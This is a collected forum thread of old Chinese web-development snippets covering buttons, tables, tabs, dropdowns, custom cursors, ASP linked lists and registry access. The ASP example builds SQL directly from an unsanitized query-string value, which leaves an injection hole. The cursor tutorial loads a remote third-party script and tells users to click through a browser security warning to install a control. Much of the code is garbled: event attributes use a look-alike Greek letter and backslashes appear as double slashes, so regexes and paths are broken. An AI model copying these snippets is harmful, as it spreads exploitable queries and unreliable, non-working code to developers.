    用好看的图片代替一般按钮!
    方法一、

    <button style="background:url('yoururl/10.jpg');" >
    dsfhgsdhf</button>

    方法二、
    <input type="image" name="Submit2" src="botton-image/botton_5.gif" width="60" height="30">
    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    <select οnchange="if(value!='')window.location.href=value">
    <option>请选择</option>
    <option value="
    www.aspxcn.com">.NET中华网</option>
    <option value="
    www.google.com">Google</option>
    </select>
    动态改变单元格背景色和内容!
    <style>
    .td1{ background:#CCCCCC; color:red}
    .td2{ background:#FFFFFF; color:blue}
    </style>

    <script>
    function chg(){
    var t = document.getElementById("tbl");
    t.rows[0].cells[0].innerText = "改变后的字";
    t.rows[0].cells[0].bgColor="red";
    }
    </script>
    <table border="1" id=tbl >
    <tr>
    <td id="td1" class="td" οnmοuseοver="className='td2'" οnmοuseοut="className='td1'"  οnclick=chg()>ffasdfa</td>
    <td class="td1" οnmοuseοver="className='td2';this.innerText='鼠标悬浮
    '" οnmοuseοut="className='td1';this.innerText='鼠标未悬浮'">鼠标未悬浮</td>
    </tr>
    </table>
    <input type=button value="改变字" οnclick=chg()>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    左右列表相互导入!;


    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <script language="JavaScript">
    <!--
    function addSrcToDestList() {
    destList = window.document.forms[0].destList;
    srcList = window.document.forms[0].srcList;
    var len = destList.length;
    for(var i = 0; i < srcList.length; i++) {
    if ((srcList.options[i] != null) && (srcList.options[i].selected)) {

    var found = false;
    for(var count = 0; count < len; count++) {
    if (destList.options[count] != null) {
    if (srcList.options[i].text == destList.options[count].text) {
    found = true;
    break;
          }
       }
    }
    if (found != true) {
    destList.options[len] = new Option(srcList.options[i].text);
    len++;
             }
          }
       }
    }

    function deleteFromDestList() {
    var destList  = window.document.forms[0].destList;
    var len = destList.options.length;
    for(var i = (len-1); i >= 0; i--) {
    if ((destList.options[i] != null) && (destList.options[i].selected == true)) {
    destList.options[i] = null;
          }
       }
    }
    // -->
    </SCRIPT>
    </head>
    <body>
    <center>
    <form method="POST">
    <table bgcolor="#FFFFCC">

    <tr>
    <td bgcolor="#FFFFCC" width="85">
    <select size="6" name="srcList" multiple>
    <option value="1">Item 1
    <option value="2">Item 2
    <option value="3">Item 3
    <option value="4">Item 4
    <option value="5">Item 5
    <option value="6">Item 6
    </select>
    </td>
    <td bgcolor="#FFFFCC" width="74" align="center">
    <input type="button" value=" 增加到右边 " onClick="javascript:addSrcToDestList()">
    <br><br>
    <input type="button" value=" 从右边删除 " οnclick="javascript:deleteFromDestList();">
    </td>
    <td bgcolor="#FFFFCC" width="69">
    <select size="6" name="destList" multiple>
    </select>
    </td>
    </tr>
    </table>
    </form>
    </body>
    </html>
    改变 Radio Button 背景颜色
    代码如下: 
    <body bgcolor="#0099FF">
    <table border=0 cellpadding=10 width="100%">
    <form>
    <tr><td bgcolor=#00ccff>
    <input type=radio name='r' value=1>【孟宪会之精彩世界】[没有设定背景颜色]<br>
    <input type=radio name='r' style='background-color:#0099ff'>【孟宪会之精彩世界】[设定和表格背景相同的颜色]<br>
    <input type=radio name='r' style='background-color:#00cdff'>【孟宪会之精彩世界】[设定和表格背景相近的颜色]<br>
    </td></tr>
    </form>
    </table>

    表格排序
    <HTML>
    <HEAD>
    <SCRIPT>
    function Table (tBody, tHead) {
      this.tBody = tBody;
      this.tHead = 
        tHead.constructor == Array ? tHead : new Array();
      this.view = null;
    }
    function Table_sort (compFun, col) {
      compFun = compFun || compRows;
      compFun.col = col ? col : 0;
      this.tBody.sort(compFun);
      if (this.view)
        this.view.update();
    }
    Table.prototype.sort = Table_sort;
    function compRows (row1, row2) {
      var sortCol = compRows.col;
      var value1 = row1[sortCol];
      var value2 = row2[sortCol];
      return value1 < value2 ? -1 : 
        value1 == value2 ? 0 : 1;
    }
    function compRowsNum (row1, row2) {
      var sortCol = compRowsNum.col;
      var value1 = parseFloat(row1[sortCol]);
      var value2 = parseFloat(row2[sortCol]);
      return value1 < value2 ? -1 : 
        value1 == value2 ? 0 : 1;
    }
    function TableView (model, left, top) {
      this.id = TableView.cnt;
      TableView.views[TableView.cnt++] = this;
      this.model = model;
      this.model.view = this;
      this.left = left || 0;
      this.top = top || 0;
      this.writeLayer();
    }
    function TableView_writeLayer () {
      var html = '';
      html += '<STYLE>';
      html += '#tableView' + this.id + ' {';
      html += ' position: absolute;';
      html += ' left: ' + this.left + 'px;';
      html += ' top: ' + this.top + 'px';
      html += '}';
      html += '<//STYLE>';
      html += '<DIV ID="tableView' + this.id + '"';
      html += '>';
      html += this.getHTML(this.model);
      html += '<//DIV>';
      document.write(html);
      if (document.all)
        this.layer = document.all['tableView' + this.id];
      else if (document.layers)
        this.layer = document['tableView' + this.id];
      else if (document.getElementById)
        this.layer = document.getElementById('tableView' + this.id);
    }
    TableView.prototype.writeLayer = TableView_writeLayer;
    function TableView_update () {
      var html = this.getHTML();
      if (document.layers) {
        if (!this.layer)
          this.layer = document['tableView' + this.id];
        this.layer.document.open();
        this.layer.document.write(html);
        this.layer.document.close();
      }
      else if (document.all)
        this.layer.innerHTML = html;
      else if (document.createRange) {
        var r = document.createRange();
        if (!this.layer)
          this.layer = document.getElementById('tableView' + this.id);
        while (this.layer.hasChildNodes())
          this.layer.removeChild(this.layer.lastChild);
        r.setStartAfter(this.layer);
        var docFrag = r.createContextualFragment(html);
        this.layer.appendChild(docFrag);
      }
    }
    TableView.prototype.update = TableView_update;
    function TableView_getHTML () {
      var tHead = this.model.tHead;
      var rows = this.model.tBody;
      var html = '';
      html += '<TABLE border=1>';
      for (var r = 0; r < tHead.length; r++) {
        html += '<TR>';
        for (var c = 0; c < tHead[r].length; c++) {
          html += '<TH>'
          html += tHead[r][c];
          html += '<//TH>';
        }
        html += '<//TR>';
      }
      for (var r = 0; r < rows.length; r++) {
        html += '<TR>';
        for (var c = 0; c < rows[r].length; c++) {
          html += '<TD>'
          html += rows[r][c];
          html += '<//TD>';
        }
        html += '<//TR>';
      }
      html += '<//TABLE>';
      return html;
    }
    TableView.prototype.getHTML = TableView_getHTML;
    TableView.cnt = 0;
    TableView.views = new Array();
    </SCRIPT>
    <SCRIPT>
    var tHead = [
      [
    '<A HREF="javascript: void 0" ONCLICK="table1.sort(); ' +
    'return false;">姓名<//A>', 
       '<A HREF="javascript: void 0" ONCLICK="table1.sort(null, 1); ' 
    + 'return false;">课程<//A>',
       '<A HREF="javascript: void 0" ONCLICK="table1.sort(compRowsNum, 2);' 
    + ' return false;">分数<//A>']];
    var tBody = [['Meng', '语文', 100],
      ['孟子', '外语', 99],
      ['小孟', '数学', 300]
    ];
    var table1 = new Table(tBody, tHead);
    var table1View;
    </SCRIPT>
    </HEAD>
    <BODY>
    <SCRIPT>
    table1View = new TableView (table1, 100, 100);
    </SCRIPT>
    </BODY>
    </HTML>

    模仿模态窗口
    下面的代码可以模仿模态窗口,但没有了标题条。

    <script>
    var WinWidth = 400;
    var WinHeight = 300; 

    var win = window.open("about:blank","","fullscreen = 1")
    win.moveTo(Math.round((screen.Width - WinWidth)/2),Math.round((screen.Height - WinHeight)/2) + 20)
    win.resizeTo(WinWidth,WinHeight)
    win.location = "
    http://lucky.myrice.com"
    win.document.body.style.overflow = "hidden"

    function focusWin()
    {
    if(win && win.open && !win.closed) 
    win.focus();
    }
    window.onfocus = focusWin;
    </script>

    <body οnfοcus="focusWin();" onmousemove = "focusWin();" onkeydown = "focusWin();">
    模仿 window.showModalDialog() 的窗口!!

    使下拉框没有凹凸感
    <body  leftmargin="50" topmargin="50">

    <p align="center"><b>正在完善中…………</B><br>

    <br>欢迎提出宝贵<a href="mailto:amxh@21cn.com">建议</a></p>

    <style>
    .optionForSel {font-size:9pt}
    </style>

    <table cellpadding="0" cellspacing="0" border="0" width="300">
       <tr>
          <td id="selectLength" width="100%" style="height:20px;padding:0px;border:2px inset #404040;border-right:0px;border-bottom:1px solid #D4D0C8;font-size:9pt;">
             <div id="selectedValue" style="padding:2px;border:0px;width:100%;height:20px;font-size:9pt;vertical-align:bottom"></div>
          </td>
          <td width="20" style="height:20px;padding:0px;border-top:2px inset #404040;border-left:0px;border-right:1px solid #D4D0C8;border-bottom:1px solid #D4D0C8;font-size:9pt">
             <img src="button2.gif" width="20" height="21" border="0" id="mm" οnclick="mm_Click()" align="absmiddle">
          </td>
       </tr>
    </table>
    <div id="dropdownOption" style="position:absolute;visibility:hidden;width:100%;border:1px solid #080808;z-index:1000">
       <table width="100%" cellpadding="0" cellspacing="1" class="optionForSel" bgcolor="White">
          <tr οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''">
             <td οnclick="document.all.selectedValue.innerText=this.innerText">
                <img src="
    http://lucky.myrice.com/images/copyright.gif" border="0" align="absmiddle" hspace="2"><a href="http://lucky.myrice.com">Visit1</a>
             </td>
          </tr>
          <tr>
             <td οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''"οnclick="document.all.selectedValue.innerText=this.innerText">
                <img src='http://lucky.myrice.com/images/meng1.gif' border="0" align="absmiddle" hspace="2"><a href="
    http://lucky.myrice.com">Visit2</a>
             </td>
          </tr>
          <tr>
             <td οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''"οnclick="document.all.selectedValue.innerText=this.innerText">
                <img src='http://lucky.myrice.com/images/meng2.gif' border="0" align="absmiddle" hspace="2"><a href="
    http://lucky.myrice.com">Visit3</a>
             </td>
          </tr>
       </table>
    </div>

    <script>
    function mm_Click()
    {
       if(document.all.dropdownOption.style.visibility == 'visible')
          document.all.dropdownOption.style.visibility='hidden'
       else
          document.all.dropdownOption.style.visibility='visible'
    }
    function init(){
    document.all.dropdownOption.style.width = document.all.selectLength.clientWidth + 22;
    document.all.selectedValue.contentEditable = true;
    var strTop = 0;
    var strLeft = 0;
    var e1 = document.all.selectLength;
    while(e1.tagName != "BODY")
    {
    strTop += e1.offsetTop
    strLeft += e1.offsetLeft
    e1 = e1.offsetParent
    }
    document.all.dropdownOption.style.top = String(strTop + 24) + "px";
    document.all.dropdownOption.style.left = String(strLeft) + "px";
    }

    function clickE()
    {
    if(window.event.srcElement.id !='mm')
    document.all.dropdownOption.style.visibility='hidden';
    }

    document.onclick = clickE
    window.onload = init
    </script>
    <br>
    <br>
    <input οnclick="alert(document.all.selectedValue.innerText)" type="button" value="得到选中的值">

    细线表格(CSS控制)
    <style>
    .mm
    {
      width: 200;
      border-Collapse: collapse;
      mm1:expression(this.border=1);
      mm2:expression(this.borderColor='#FF0000');
      mm3:expression(this.cellPadding=0);
    }
    </style>

    <table class=mm>
      <tr><td>meizz</td><td>meizz</td></tr>
      <tr><td>meizz</td><td>meizz</td></tr>
    </table>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    选项卡:


    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML xmlns:ts>
    <HEAD>
    <TITLE>Please Input First </TITLE>
    <link rel="ShortCut" href="XMLSpyHot.ico"/>
    <style type="text/css">
    <!--
    .tablecss{
       border: outset;
       border-left-width:2.5px;
       border-width: 6px;
       border-top-width:1.5px;
       border-right-width:2.5px;
       border-left-width:1.5px;
       border-bottom-width:2.5px;   
       font-family: System;
       background:#C8C8FF;
       color:#747474;
    }

    -->
    </style>
    <style type="text/css">

    .pane {
      display : none;
      }
    td.tabs {
      border-top : 2px outset white;
      border-left : medium outset white;
      border-left-width:2;
      border-right-width: 3px;
      border:outset;
      border-top-width:1.5;
      border-left-width:1.5;
      border-right-width:2.5;
      border-bottom:0;
     
      }
    div.tabs {
      background-color :#E8E8FF;
      cursor : hand;
      color:#747474;
      font-size:13px;
      font:bolder;
      }
    </style>
    <script type="text/javascript">
    var currentPaneStyle = 0;
    var currentTab = 0;

    function tabstrip()
    {
       this.tabs = new Array();
       this.add = addTab;
       this.write = writeTabstrip;
    }

    function tab(caption,content)
    {
      this.setId = setId;
      this.caption = caption;
      this.content = content;
      this.write = writeTab;
      this.writeContent = writePane;
    }

    function addTab(tab)
    {
      tab.setId("tab" + this.tabs.length);
      this.tabs[this.tabs.length] = tab;
    }

    function setId(id)
    {
      this.id = id;
    }

    function initiate()
    {
      var div = document.getElementById("tab0");
      showPane(div);
    }

    function showPane(div)
    {
      if(currentTab != 0)
      {
        currentTab.style.backgroundColor = "#E8E8FF";
      }
      div.style.backgroundColor = "#ccccff";
      currentTab = div;

      if(currentPaneStyle != 0)
        currentPaneStyle.display = "none";
      var paneId = "pn_" + div.id;
      var objPaneStyle = document.getElementById(paneId).style;
      objPaneStyle.display = "block";
      currentPaneStyle = objPaneStyle;
    }

    function SubmitForm()
    {
       window.alert("Form submitted.  This would normally take you to another page");
       // normally, you would here check the form and submit it.
       // if the form has the name 'tabform', then it is submitted
       // with tabform.submit();
    }

    function writePane()
    {
      document.write("<div class='pane' id='pn_" + this.id + "'>" + this.content + "</div>");
    }

    function writeTab()
    {
       document.write("<td class='tabs'><div class='tabs' id='" + this.id + "' οnclick='showPane(this)'>" + this.caption + "</div></td>");
    }

    function writeTabstrip()
    {
      document.write("<table class='tabs'><tr>");
      for(var i = 0; i < this.tabs.length; i++)
      {
        this.tabs[i].write();
      }
      document.write("</tr></table>");
      
      for(var k = 0; k < this.tabs.length; k++)
      {
        this.tabs[k].writeContent();
      }
      initiate();
    }
    </script>
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function checknull(){
       if((myform.username.value=="")||(myform.age.value=="")||(myform.email.value=="")){ self.showModalDialog('erroralert.html','Error','status:no;resizable:no;dialogHeight:290px;dialogWidth:450px;');
       return false;
       }else{
       parent.location.reload();
       window.close();
       }
       return true;
    }
    //-->
    </SCRIPT>
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function submite(e){
      
         var t1=e.elements[0].value;
         var t2=e.elements[1].value;
        var t3=e.elements[2].value;
         var t4=e.elements[3].value;


      var arr=new Array(t1,t2,t3,t4);
      window.returnValue=arr;
      window.close();
    }
    //-->
    </SCRIPT>
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function submitAll(){
       var a1=document.pane1.myform.username.value;
       var a2=document.myform.age.value;
       var a3=document.myform.email.value;
       var a4=document.form2.mothername.value;
       var a5=document.form3.companyname.value;
       var arr=new Array(a1,a2,a3,a4,a5);
       window.returnValue=arr;
       window.close();
    }
    //-->
    </SCRIPT>
    </HEAD>

    <BODY bgcolor="#C8C8FF">
    <form action="parent.htm" name="form1">
    <script type="text/javascript">
    var pane1 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form  name='myform' action='parent.htm' οnsubmit='return checknull()'><tr height='60' valign='bottom'><td align='center'><font color='#7B7B7B'>Name:</font></td><td><input type='text' name='username' style='font:bold'/></td></tr><tr><td align='center'>Age:</td><td><input type='text' name='age' style='font:bold'/></td></tr><tr><td align='center'>Email:</td><td><input type='text' name='email' style='font:bold'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='submitAll' value='Submit' class='tablecss'/></td></tr></form></table>";

    var pane2 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form name='form2' action='parent.htm' οnsubmit='return checknull(this.username)'><tr height='60' valign='bottom'><td align='center'><font style='size:1px;font-style:bold;' color='#7B7B7B'><strong>父亲:</strong></font></td><td><input type='text' name='fathername' style='font:bold'/></td></tr><tr><td align='center'>母亲:</td><td><input type='text' name='mothername' style='font:bold'/></td></tr><tr><td align='center'>家庭电话:</td><td><input type='text' name='homephone' style='font:bold'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='name' value='Submit' class='tablecss'/></td></tr></form></table>";

    var pane3 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form name='form3' action='parent.htm' οnsubmit='return checknull(this.username)'><tr height='60' valign='bottom'><td align='center'><font color='#7B7B7B'>Companyname:</font></td><td><input type='text' name='companyname'/></td></tr><tr><td align='center'>Email:</td><td><input type='text' name='companyemail'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='name' value='Submit' class='tablecss'/></td></tr></form></table>";

    var ts = new tabstrip("new");
    ts.Separators=false;
    var t1 = new tab("个人属性",pane1);
    var t2 = new tab("家庭成员",pane2);
    var t3 = new tab("公司",pane3);

    ts.add(t1);
    ts.add(t2);
    ts.add(t3);

    ts.write();
    </script>
    <INPUT TYPE="submit"  οnclick="submite(form1)"/>
    </form>
    <!---->
    </BODY>
    </HTML>

    链接下陷效果是怎么做成的?(请看解答)
    样式表:
    A:link {COLOR: #000000; TEXT-DECORATION: none}
    A:visited {COLOR: #000000; TEXT-DECORATION: none}
    A:hover {COLOR: #656545; POSITION: relative; LEFT: 1px; TOP: 1px; TEXT-DECORATION: none}


    示例代码:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "
    http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <title>无标题文档</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <style>
    body{
    color:#111111;
    scrollbar-face-color:#ffffff;
    scrollbar-highlight-color:#ffffff;
    scrollbar-shadow-color:#000000;
    scrollbar-3dlight-color:#000000;
    scrollbar-arrow-color:#3c3c3c;
    scrollbar-track-color:#dddddd;
    scrollbar-darkshadow-color:#ffffff;
    font-size:12px;
    }
    A:link {COLOR: #000000; TEXT-DECORATION: none}
    A:visited {COLOR: #000000; TEXT-DECORATION: none}
    A:hover {COLOR: #656545; POSITION: relative; LEFT: 1px; TOP: 1px; TEXT-DECORATION: none}
    </style>
    </head>

    <body>
    <p>TOPBar效果示例:</p>
    <p><span class="TopBar" style="background-color:#000000 "> <a href="../../Pages/index.asp"><font color="#FFFFFF">首页<img src="images/fg.gif" width="9" height="11" border="0"></font></a><a href="../Technology/index.asp"><font color="#FFFFFF">专业技术</font></a><a href="../Pages/index.asp"><font color="#FFFFFF"><img src="images/fg.gif" width="9" height="11" border="0"></font></a><a href="../design/index.asp"><font color="#FFFFFF">设计</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../cartoon/index.asp"><font color="#FFFFFF">动漫</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../Writer/Index.asp"><font color="#FFFFFF">作者专栏</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../School/Index.asp"><font color="#FFFFFF">培训考试</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../market/index.asp"><font color="#FFFFFF">市场活动</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../Bbs/index.asp"><font color="#FFFFFF">论坛 
    </font></a></span></p>


    数字面包上用到的:
    <script language="JavaScript">
    <!--
    function MM_openBrWindow(theURL,winName,features) { //v2.0
      window.open(theURL,winName,features);
    }
    //-->
    </script>
    <script language="JavaScript">
    <!--
    function MM_jumpMenu(targ,selObj,restore){ //v3.0
      eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
      if (restore) selObj.selectedIndex=0;
    }
    //-->
    </script>
    <table width=100% height="22" border=0 align="center" cellpadding="2" cellspacing="0">
      <tr>
        <td align="right" valign="top"><a href="../../index/index2.asp" class="text">返回网站</a> </td>
        <td colspan="3" align="right" height="22" valign="top"><a href=default.asp class="text">首页</a> 
          | <a href=../size/download/default.asp class="text" target="_blank">资源</a> 
          | <a href="#" class="text" onClick="MM_openBrWindow('pm.asp','pm','scrollbars=yes,width=420,height=400')">消息</a> 
          | <a href=option.asp class="text">设置</a> | <a href="forum_search.asp" class="text">搜索</a> 
          | <a href=showFavor.asp class="text">收藏</a> | <a href="detail_allelite.asp" class="text" target="_blank">精华</a> 
          | <a href=top.asp class="text">排行</a> | <a href=../extension/default.asp class="text">插件</a> 
          | <a href="/forum/mb_forum/default.asp?MM_Logoutnow=1" class="text">退出</a> 
        </td>
        <form name="form1">
          <td align="center" height="22" valign="top"> <select name="day" onChange="MM_jumpMenu('self',this,0)" class="select">
              <option selected>■ 快捷进入选项</option>
              <option value="day_detail.asp?ZDDATE=2003-12-29">>> 
              今天的主题帖</option>
              <option value="day_detail.asp?ZDDATE=2003-12-28">>> 
              昨天的主题帖</option>
              <option value="day_detail.asp?ZDDATE=2003-12-27">>> 
              前天的主题帖</option>
              <option value="zyx_detail.asp?zyx=10">>> 最后回复的10帖</option>
              <option value="zyx_detail.asp?zyx=30">>> 最后回复的30帖</option>
              <option value="zyx_detail.asp?zyx=50">>> 最后回复的50帖</option>
            </select> </td>
        </form>
      </tr>
    </table>
    </body>
    </html>

    随心所欲更改你的鼠标!!!
       现在网页的设计都讲究整体统一风格,无论是网页的文字、图像,还是浏览器的滚动条都要求颜色和风格一致。但是很多朋友却对网页上的鼠标不能改变样子而感到苦恼,下面我就介绍两种改变网页上鼠标的方法:

        一、用CSS(Cascading Style Sheets,层叠样式表)的方法
       首先要制作或者寻找一套适合网页风格的鼠标,我使用的鼠标是weste.ani和weste2.ani,在,将两个文件存放到的网站的文件夹ani,然后在你的网页文件的</head></head>之间加上代码:
        <style type="text/css">
        <!--
        body {CURSOR: url('ani/weste.ani')}
        A {CURSOR: url('ani/weste2.ani')
        -->
        </style>
            再次浏览网页的时候你会发现,网页的鼠标显示已经改变了。当鼠标悬停在链接上的时候,显示的weste2.ani样子,其他时候显示weste.ani。
        原理:其实这种方法利用了CSS2的一个cursor的属性cursor:url (url),鼠标文件可以使用jpg、gif、ani和cur多种文件格式。需要注意的这种方式只能在IE5.5以上浏览器中正常显示。

        二、利用第三方控件的方法
        这种方法非常简单,只需要讲以下代码加到网页文件的<head></head>之间:
        <script language=javascript>var Loaded=false;var Flag=false;</script>
        <script src='http://files.cometsystems.com/javascript/lc2000.js'
    language=javascript></script>
        <script language=javascript>if(Loaded&&Flag)TheCometCursor('cd_electric',0,626);</script>
        修改后,浏览此网页的时候浏览器会弹出一个“安全设置警告”,点击“是”,系统自动安装控件,鼠标就可以按照你的需要显示了。
        那么,如何才能选择你所需要的鼠标样式呢?先登陆网站
    http://www.cometzone.com,这个网站有14个大类4000多种鼠标,内容十分广泛,鼠标文件制作也很精美,你可以根据需要从类别中选择需要的鼠标,点击相应的鼠标图片就可以预览到不同的效果。
        选中鼠标后,点击网页左边导航的“GET CURSOR CODE”链接,转到下一页,再点击“Select Code”按钮,按钮下这个多行文本框里面的内容就是我上面提供的代码,只是代码中TheCometCursor('cd_electric',0,626)部分不同,显示的鼠标状态也不同。

    代码:
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>无标题文档</title>
    <script language=javascript>var Loaded=false;var Flag=false;</script>
    <script src='http://files.cometsystems.com/javascript/lc2000.js'
    language=javascript></script>
    <script language=javascript>if(Loaded&&Flag)TheCometCursor('bbird',0,626);</script>
    </head>

    <body>
    </body>
    </html>

    连动下拉菜单[数据库版]
        想了好久得出的方法,想着很多人都为此问题得不到解决而苦恼,本着代码共享的原则,现公布出来供大家指正(其实不说出来我也难受)。如果您觉得不错请帮忙提提前,好让更多的朋友看到。

        此方法绝不是事先将所有记录都写入到页面中再通过脚本过滤,那样虽然简单,但对于大的数据量显然就不适合了,而且还严重浪费资源。

        将下面的代码稍作修改即可应用于其它地方,非常方便。

        为测试用,先建一名 Test.mdb 的 Access2000 数据库,建立两个表 Type,Title,结构如下:
    Type
    ******************
    ID    自动编号,主键
    名称  文本,长度合适

    Title
    ********************
    ID    自动编号,主键
    类别  长整形数字,并联 Type 表的 ID 字段
    标题  文本,长度合适

        我们的目的是从 Type 表中读取记录并写入到第一个列表框中,并在第一个列表框选择时从 Title 表中过滤出相应记录写入到第二个列表框中,并且可以随时获得第二列表框所选的值。

        关键:在 B.asp 放置一隐藏域,来存放第二列表框所选的值,在 A.asp 中通过脚本来访问该隐藏域的值来达到跨页面读取数值的目的。

    '********************************************************
    '  conn.asp   连接数据库,这里用 test.mdb 来作测试
    '********************************************************
    <%
       dim conn   
       dim connstr

       connstr="DBQ="+server.mappath("test.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
       set conn=server.createobject("ADODB.CONNECTION")
       conn.open connstr
    %>

    '********************************************************
    '  A.asp   主页面,内嵌 B.asp(第二列表框在B.asp页面)
    '********************************************************
    <!--#include file="conn.asp"-->
    <table>
    <tr><td>
    <form method="POST" action="">
    <%
    Dim I,FirstID
    I=1
    Set Rs= Server.CreateObject("ADODB.Recordset")
    SQL="SELECT * FROM Type;"
    RS.Open SQL,Conn,1,1
    Response.Write "第一列表框 <select size='1' ID='A' name='A' OnChange='VBScript:ChangType'>"
    DO While Not RS.Eof
    Response.Write "<option value='" & RS("ID") & "'>" & RS("名称") & "</option>"
    RS.MoveNext
    Loop
    Response.Write "</select>"
    %>
    <P>
    <IFRAME HEIGHT="40" WIDTH="500" FRAMEBORDER=NO MARGINHEIGHT=0 SRC="B.asp?ID=1" ID="TitleFrame">
    </IFRAME>
    </P>
    <P>
    <input type='button' οnclick='vbscript:Show.innerText="选择的值是:" & Document.Frames(0).Document.All.H.value' value='查看第二列表框所选值'>
    </P>
    </Form>
    </td></tr>
    <tr><td ID="Show">
    </td></tr>
    </table>

    <Script Language=VBScript>
    Sub ChangType
    TitleFrame.Location.Replace("B.asp?ID=" & Document.All.A.Value)
    End Sub
    </Script>
    <%
    RS.Close
    Set RS=Nothing
    Conn.Close
    Set Conn=Nothing
    %>

    '********************************************************
    '  B.asp   第二列表框所在页面,内嵌于 A.asp
    '********************************************************
    <!--#include file="Conn.asp"-->
    <%
     TypeID=Trim(Request.QueryString("ID"))
     Dim RS
     Set RS= Server.CreateObject("ADODB.Recordset")
     SQL="SELECT * FROM Title Where 类别=" & TypeID & ";"
     RS.Open SQL,Conn,1,1
     Response.Write "第二列表框 <select size='1' name='B' ID='B'  OnChange='H.value=this.options[this.selectedIndex].value'>"
     Do While Not RS.Eof
      Response.Write "<option value='" & RS("ID") & "'>" & RS("标题") & "</option>"
      RS.MoveNext
     Loop
      Response.Write "</select>"
     RS.Close
     Set RS=Nothing
     Conn.Close
     Set Conn=Nothing
    %>
    <input type="hidden" name="H">
    <script Language="vbscript">
    H.value=B.options(B.selectedIndex).value
    </script>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)

    关闭IE时触发事件!

    <script>window.οnunlοad="alert('你关了这个窗口');"</script>


    <script>window.οnbefοreunlοad=function(){alert('你关了这个窗口');};</script>


    一段限制文本框只能输入数字0~9的代码:
    <body>
    <input οnkeyup="this.value=this.value.replace(//D/g,'')" onafterpaste="this.value=this.value.replace(//D/g,'')">
    </body>


    具有在输入非数字字符不回显的效果,即对非数字字符的输入不作反应。
    function numbersonly(field,event){
       var key,keychar;
       if(window.event){
          key = window.event.keyCode;
       }
       else if (event){
          key = event.which;
       }
       else{
          return true
       }
       keychar = String.fromCharCode(key);
       if((key == null)||(key == 0)||(key == 8)||(key == 9)||(key == 13)||(key == 27)){
          return true;
       }
       else if(("0123456789.").indexOf(keychar)>-1){
          window.status = "";
          return true;
       }
       else {
          window.status = "Field excepts numbers only";
          return false;
       }
    }

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    画图:
    <OBJECT 
    id=S 
    style="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px" 
    height=240 
    width=392 
    classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6">
    </OBJECT>
    <SCRIPT>
    S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);
    S.DrawingSurface.ArcRadians(30,0,0,30,50,60);
    S.DrawingSurface.Line(10,10,100,100);
    </SCRIPT>

    Javascript写注册表
    写注册表:
    <SCRIPT>
    var WshShell = WScript.CreateObject("WScript.Shell");
    WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//", 1, "REG_BINARY");
    WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//MindReader", "Goocher!", "REG_SZ");
    var bKey =    WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//");
    WScript.Echo (WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//MindReader"));
    WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//MindReader");
    WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//");
    WshShell.RegDelete ("HKCU//Software//ACME//");
    </SCRIPT>

    <HTML>
    <SCRIPT LANGUAGE="JScript">
    function numberCells() {
        var count=0;
        for (i=0; i < document.all.mytable.rows.length; i++) {
            for (j=0; j < document.all.mytable.rows(i).cells.length; j++) {
                document.all.mytable.rows(i).cells(j).innerText = count;
                count++;
            }
        }
    }
    </SCRIPT>
    <BODY οnlοad="numberCells()">
    <TABLE id=mytable border=1>
    <TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR>
    <TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
    <TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
    </TABLE>
    </BODY>
    </HTML> 

    另加几个代码
    1.身份证严格验证:

    <script>
    var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}
      
    function cidInfo(sId){
       var iSum=0
       var info=""
       if(!/^/d{17}(/d|x)$/i.test(sId))return false;
       sId=sId.replace(/x$/i,"a");
       if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区";
